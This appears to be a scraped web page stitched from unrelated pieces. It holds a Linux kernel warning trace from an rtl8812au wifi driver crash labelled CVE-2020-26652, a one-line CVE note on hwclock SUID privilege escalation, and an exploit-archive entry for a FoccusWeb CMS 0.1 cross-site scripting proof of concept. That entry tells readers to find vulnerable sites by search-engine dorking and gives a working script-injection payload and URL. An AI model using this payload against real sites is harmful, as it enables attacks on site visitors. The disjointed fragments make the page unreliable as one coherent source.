[  952.607304] WARNING: CPU: 0 PID: 1293 at net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607304] Modules linked in: nfnetlink_queue(E) nfnetlink_log(E) 88XXau(OE) nfnetlink(E) bluetooth(E) drbg(E) ansi_cprng(E) ecdh_generic(E) ecc(E) cfg80211(E) rfkill(E) vsock_loopback(E) vmw_vsock_virtio_transport_common(E) vmw_vsock_vmci_transport(E) vsock(E) intel_rapl_msr(E) intel_rapl_common(E) intel_rapl_perf(E) vmw_balloon(E) joydev(E) serio_raw(E) pcspkr(E) sg(E) vmw_vmci(E) evdev(E) ac(E) binfmt_misc(E) fuse(E) sunrpc(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) crc32c_generic(E) sd_mod(E) t10_pi(E) crc_t10dif(E) crct10dif_generic(E) crct10dif_pclmul(E) crct10dif_common(E) crc32_pclmul(E) crc32c_intel(E) ghash_clmulni_intel(E) hid_generic(E) usbhid(E) hid(E) sr_mod(E) cdrom(E) ata_generic(E) vmwgfx(E) aesni_intel(E) libaes(E) crypto_simd(E) cryptd(E) glue_helper(E) ttm(E) psmouse(E) drm_kms_helper(E) ata_piix(E) cec(E) uhci_hcd(E) ehci_pci(E) xhci_pci(E) xhci_hcd(E) e1000(E) ehci_hcd(E) usbcore(E) usb_common(E) mptspi(E) mptscsih(E) mptbase(E) [  952.607325]  scsi_transport_spi(E) drm(E) libata(E) i2c_piix4(E) scsi_mod(E) button(E) [  952.607329] CPU: 0 PID: 1293 Comm: RTW_CMD_THREAD Tainted: G           OE     5.6.0-kali2-amd64 #1 Debian 5.6.14-1kali1 [  952.607330] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/29/2019 [  952.607340] RIP: 0010:nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607341] Code: 00 00 be a1 00 00 00 48 89 ef 89 44 24 04 e8 7c 8a 07 d6 85 c0 0f 84 7b ff ff ff 41 bc 97 ff ff ff e9 70 ff ff ff 31 c0 eb a7 <0f> 0b 41 bc ea ff ff ff e9 5f ff ff ff e8 c3 c7 cb d5 0f 1f 00 0f [  952.607342] RSP: 0018:ffffa687c088fd80 EFLAGS: 00010246 [  952.607343] RAX: 0000000000000000 RBX: ffffa687c088fe08 RCX: 0000000000000087 [  952.607343] RDX: 00000000c07597ec RSI: 00000000ffff259c RDI: ffffa687c088fe08 [  952.607344] RBP: ffff98e22da4dd00 R08: 0000000000000003 R09: 0000000000000004 [  952.607344] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa687c088fe08 [  952.607344] R13: 0000000000000000 R14: ffff98e22da4dd00 R15: ffff98e2343a3014 [  952.607345] FS:  0000000000000000(0000) GS:ffff98e23be00000(0000) knlGS:0000000000000000 [  952.607346] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [  952.607346] CR2: 00007f9224153030 CR3: 000000007a080005 CR4: 00000000002606f0 [  952.607365] Call Trace: [  952.607395]  nl80211_ch_switch_notify.constprop.0+0xcd/0x170 [cfg80211] [  952.607424]  rtw_cfg80211_ch_switch_notify+0x138/0x147 [88XXau] [  952.607440]  ? rtw_chk_start_clnt_join+0x79/0x79 [88XXau] [  952.607454]  rtw_chk_start_clnt_join+0x72/0x79 [88XXau] [  952.607468]  join_cmd_hdl+0x267/0x373 [88XXau] [  952.607476]  rtw_cmd_thread+0x295/0x3ed [88XXau] [  952.607494]  kthread+0xf9/0x130 [  952.607504]  ? rtw_stop_cmd_thread+0x39/0x39 [88XXau] [  952.607506]  ? kthread_park+0x90/0x90 [  952.607521]  ret_from_fork+0x35/0x40 [  952.607524] ---[ end trace c0d1960d55eb317c ]---

CVE-2020-26652: fuzzing wifi ,network will down,  result is net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] · Issue #730 · aircrack-ng/rtl8812au

An issue was discovered in hwclock.13-v2.27 allows attackers to gain escalated privlidges or execute arbitrary commands via the path parameter when setting the date.

CVE-2020-21583: #786804 - hwclock(8) SUID privilege escalation

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

**FoccusWeb CMS 0.1 Cross Site Scripting**

Posted Aug 22, 2023

Authored by indoushka

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4ec7d01c602a400932502d010a16a7b1bacb2f323fbd9f44c16aef7baacd0231

Download | Favorite | View

**FoccusWeb CMS 0.1 Cross Site Scripting**

    ======================================================================================================================================| # Title     : FoccusWeb CMS v0.1 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                            || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                               | | # Vendor    : http://www.foccusweb.com/site/                                                                                       |  ======================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /resultados.html?txt-busca=1<script>alert(/indoushka/);</script>&yt0=submit[+] http://127.0.0.1/saogabrielrsgovbr/Portal/busca/resultados.html?txt-busca=1%3Cscript%3Ealert(/indoushka/);%3C/script%3E&yt0=submitGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,996)
*   Arbitrary (16,211)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,347)
*   DoS (23,452)
*   Encryption (2,370)
*   Exploit (51,936)
*   File Inclusion (4,222)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,782)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,146)
*   Proof of Concept (2,338)
*   Protocol (3,602)
*   Python (1,535)
*   Remote (30,795)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,888)
*   Shell (3,185)
*   Shellcode (1,215)
*   Sniffer (894)
*   Spoof (2,207)
*   SQL Injection (16,380)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,786)
*   Web (9,669)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,949)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,819)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,494)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,741)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,834)
*   UNIX (9,291)
*   UnixWare (186)
*   Windows (6,574)
*   Other

Tag

#debian